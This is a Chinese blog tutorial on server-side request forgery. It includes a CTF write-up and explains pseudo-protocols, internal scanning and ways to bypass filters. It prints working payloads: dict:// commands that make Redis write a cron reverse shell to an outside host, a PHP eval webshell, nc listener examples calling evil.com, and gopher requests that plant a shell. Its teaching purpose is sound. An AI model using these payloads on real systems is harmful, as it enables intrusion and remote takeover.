SSRF

Fc04dB Lv3

# SSRF

# DASCTF X GFCTF 2024 | EasySignin

首先复现一道最近比赛遇到的一道题

image.png

经典登陆界面开局,先尝试 admin 123456,密码错误,注册一个 admin1 123456,登上去之后看好康的照片,不给看,权限不够,应该还是需要登录 admin,发现有一个更改密码的选项,可以利用一下

这里有两种方式:

1. 利用 sql 注入

注册时用户名为 admin"# 双引号会闭合前面的引号,# 注释掉后面的内容,此时登录之后更改密码实际会更改 admin 的密码,在登陆 admin 就可以看了

2.burp 抓包

修改密码利用 bp 抓包

image.png

发现会显示 username,且这里未验证 session 中的 username 和输入的 username 是否相同,那这里就存在逻辑漏洞了,可以尝试将 username 赋值为 admin,即可以越权修改 admin 的密码,修改密码后以 admin 密码登录。

登录到 admin 之后查看好康的照片

1713795160605.png

发现直接显示了文件的地址,下面就要用到 SSRF 的知识了,测试一下,过滤掉了 file、dict 等几个协议,但没过滤 gopher,可以用它探测服务和端口,探测到 3306 端口开放了 mysql 服务,这里 root 的密码为空,于是我们可以利用 gopher 协议去攻击 mysql。

直接利用 Gopherus 查看根目录下的 flag 文件

image.png

二次 url 编码,bp 抓包

image.png

base64 解码得到 flag: DASCTF{39302405-b602-4b99-8101-66cd65424bbe}

image.png

# SSRF

# SSRF 是什么?

SSRF (Server-Side Request Forgery: 服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf 是利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器

# SSRF 与 CSRF 的区别

​ CSRF 是服务器端没有对用户提交的数据进行随机值校验,且对 http 请求包内的 refer 字段校验不严,导致攻击者可以利用用户的 cookie 信息伪造用户请求发送至服务器;

​ SSRF 是服务器对用户提供的可控 URL 过于信任,没有对攻击者提供的 URL 进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。

# SSRF 中 URL 的伪协议

1
2
3
4
5
6
file:/// 从文件系统中获取文件内容,如:file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如:dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

# 1、file

这种 URL Schema 可以尝试从系统文件中获取文件

file://文件的绝对路径

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

# 2、dict

dict 协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然 dict 协议也可以用来执行一些服务的命令,如 redis

  • 内网主机探测
  • 开放端口探测
  • 端口服务指纹探测
  • 执行命令

ditc://ip:port

ditc://ip:port/命令

这种 URL Scheme 能够引用允许通过 DICT 协议使用的定义或单词列表:

1
2
3
4
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

# 3、sftp

在这里,Sftp 代表 SSH 文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与 SSH 打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info


二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save

注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"


三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save

若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"


四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似

# 4、gopher 协议

上面官方的说明了一下 gopher 协议介绍,具体如何在 ssrf 中使用呢?

gopher 协议在 ssrf 的利用中一般用来攻击 redis,mysql,fastcgi,smtp 等服务。

gopher 协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:

1.gopher 协议数据流中,url 编码使用 %0d%0a 替换字符串中的回车换行
2. 数据流末尾使用 %0d%0a 代表消息结束

# 5、ldap:// 或 ldaps:// 或 ldapi://

LDAP 代表轻量级目录访问协议。它是 IP 网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
2
3
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

# 6、tftp://

TFTP(Trivial File Transfer Protocol, 简单文件传输协议)是一种简单的基于 lockstep 机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

# 探测内网

ssrf 最常见的就是探测内网,如果找到了内网 IP 的网段,可以尝试用暴力破解去探测内网的 IP,下面给出几种常见的探测方法。

  • 脚本

这里贴一个通用的 python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0 : #这里长度根据实际情况改
print(ip,port,'is open')
except:
continue
print('Done')

这里写的是爆破指定的一些端口和 IP 的 D 段,注意的是有些题目会给出端口的范围,就可以把 ports 改为 range() 指定为一定的范围,然后返回的长度 len(res.text) 要先自己测一下。

  • burpsuite

可以选择用 burpsuite 软件中 Intruder 去爆破

  • nmap 工具

扫描目标开放端口,直接用 nmap 一把梭。

1
2
nmap -sV ip
nmap -sV ip -p6379 //指定6379端口扫描

# Bypass

经常会有题目 ban 掉 127.0.0.1 这个网址,需要进行绕过

# xip.io

有一个网站地址是:xip.io ,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问: http://127.0.0.1.xip.io/1.php ,实际上访问的是 http://127.0.0.1/1.php

像这种网址还有 nip.io sslip.io

如果 php 后端只是用 parse_url 函数中的 host 参数判断是否等于 127.0.0.1,就可以用这种方法绕过,但是如果是检查是否存在关键字 127.0.0.1,这种方法就不可行了

# 短地址绕过

image.png

此时直接用 http://z6b.cn/yPqiU 就会 302 跳转绕过 WAF

# 进制转换

可以使用一些不同的进制替代 ip 地址,从而绕过 WAF,

贴一个进制转换的 php 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

注意八进制 ip 前要加上一个 0,其中八进制前面的 0 可以为多个,十六进制前要加上一个 0x。

127.0.0.1:

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

十进制:2130706433

# 利用 DNS 解析

如果你自己有域名的话,可以在域名上设置 A 记录,指向 127.0.0.1。

# @绕过

http://www.aaa.com@www.bbb.com@www.ccc.com ,在对 @解析域名中,不同的处理函数存在处理差异
在 PHP 的 parse_url 中会识别 www.ccc.com ,而 libcurl 则识别为 www.bbb.com

# 其他各种指向 127.0.0.1 的地址

1
2
3
4
5
6
7
8
http://localhost/ #localhost就是127.0.0.1
http://0/ #0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ #linux可用
http://[::]:80/ #linux可用
http://127。0。0。1/ #句号会被解析成.
http://①②⑦.⓪.⓪.① #Enclosed alphanumerics方法绕过
http://127.1/
http://127.00000.00000.001/ #第7.8行中0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

# 常见限制

1. 限制为 http://www.xxx.com 域名

采用 http 基本身份认证的方式绕过,即 @
http://www.xxx.com@www.xxc.com

2. 限制请求 IP 不为内网地址

当不允许 ip 为内网地址时:

(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

3. 限制请求只为 http 协议

(1)采取 302 跳转(xip.io
(2)采取短地址

# 不存在的协议头绕过

有关 file_get_contents() 函数的一个 trick,可以看作是 SSRF 的一个黑魔法,当 PHP 的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

例子:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['a'])){
die("no hack");
}
echo file_get_contents($_GET['a']);
?>

限制只读 https 开头的路径,可以构造: httpssss://

配合目录回读:

1
2
3
4
httpsssss://../../../../../../etc/passwd
httpsssss://abc../../../../../../etc/passwd

httpsssss://../../../../../../flag

可以得到一些敏感信息

# URL 的解析问题

  • 利用 readfile 和 parse_url 解析差异

贴一个极客大挑战的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>

可以看到 check_inner_ip 通过 url_parse 检测是否为内网 ip,如果满足不是内网 ip ,通过 curl 请求 url 返回结果,这题就可以利用 curl 和 parse_url 解析的差异不同来绕过,让 parse_url 处理外部网站,最后 curl 请求内网网址。

最后的 payload 为

http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php

有关 URL 的解析问题更加详细可参考:

https://blog.csdn.net/qq_38154820/article/details/109252839

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

# Gopher 攻击 Redis

# redis 的协议数据流格式

数据流格式中 CR LF 表示的就是 \r \n

*<参数数量> CR LF
<参数1的字节数量>CRLF<参数1的数据>CRLF...<参数 1 的字节数量> CR LF <参数 1 的数据> CR LF ... <参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
简单示例:

*4:表示 4 个参数 config、set、dir、/var/www/html
$6:表示每个参数的字节长度 config 长度为 6

*4
$6
config
$3
set
$3
dir
$13
/var/www/html

Redis 一般都是绑定在 6379 端口,如果没有设置口令(默认是无),攻击者就可以通过 SSRF 漏洞未授权访问内网 Redis,一般用来写入 Crontab 定时任务用来反弹 shell,或者写入 webshell 等等。

在 CTF 题目中如果找到了内网的服务开了 6379 端口,一般来说就是 Redis 未授权访问漏洞,并且没有 ban 掉 gopher://,可以用网上的脚本一把梭,比如:Gopherus

# 写入 shell

python2 gopherus.py --exploit redis

image.png

在有 SSRF 漏洞的地方输入生成的 payload— 即 gopher://127.0.0.1:6379 后面一大段,接下来会在目录下生成 shell.php。

要注意的是如果是在 html 的输入框中直接输入提交就行,但要在浏览器的 URL 输入的话,一定要记得 URL 编码一次。

# 反弹 shell

image.png

要配合 nc 监听

# 攻击 Mysql

攻击内网 mysql 的条件:内网开启了 3306 端口,mysql 无密码

上面的题目复现就用到了这个

# Gopher 发送请求

SSRF 漏洞是服务端请求伪造攻击,不论是 GET 或者是 POST 方法,都是为了达到一个目的,就是让服务端帮我们来执行请求。

那么在 CTF 中什么情况需要利用到这种方法呢,比如发现了一个内网的应用有上传的功能,我们需要通过 POST 提交数据,而且 Gopher 协议没有被 ban,我们就可以考虑构造一个请求去打内网,下面先从本地看看如何构造:

通常,我们可以利用 gopher:// 协议可以用来发送 Get 和 Post 请求,需要注意的点是要对发送的请求头中的空格和一些特殊字符进行 url 编码,如果是在 URL 中提交 payload 的时侯要再进行一次 url 编码,先来看看如何发送简单的请求。

  • POST 请求

在 phpstudy 写入 1.php

1
2
<?php
echo "Hello".$_POST['a'];

burpsuite 抓包获取请求头,POST 包的请求头有很多行,我们用的时候不用全部带上,但是要记得加上 Content-Type 和 Content-Length,也可以全部带上

POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world

然后需要对空格和一些特殊字符进行 url 编码,注意把其中的换行的地方加上 %0D%0A,当然手动加肯定是太麻烦了,这里给出一个脚本。

一键编码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib
import requests
test =\
"""POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=world
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

在里面加上你的请求体运行,然后我们在输出结果前面手动加上 gopher 协议头和 IP: 端口,最终为:

gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A

然后用 curl 命令发出我们的请求,可以看到成功获取响应包了。

image.png

需要注意的是,如果要在 url 传入的话需要将发送的 POST 后面一大串再 url 编码一次

  • GET 请求:

GET 请求发送和 POST 请求基本一样

相关例题:2020 强网杯 half_infiltration

通过前面一系列操作获得 ssrf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>

跑端口 40000 跑出来个登录框,然后有上传功能,参数 file 和 content 是上传文件

于是用 gopher 协议发送一个 POST 请求写马,payload 如下:

1
2
3
4
5
6
7
8
gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Connection: close

file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ

最后 payload 如下,传入参数需要注意二次 url 编码:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ

  • Title: SSRF
  • Author: Fc04dB
  • Created at : 2024-04-22 21:56:10
  • Updated at : 2024-07-04 23:15:02
  • Link: https://redefine.ohevan.com/2024/04/22/SSRF/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments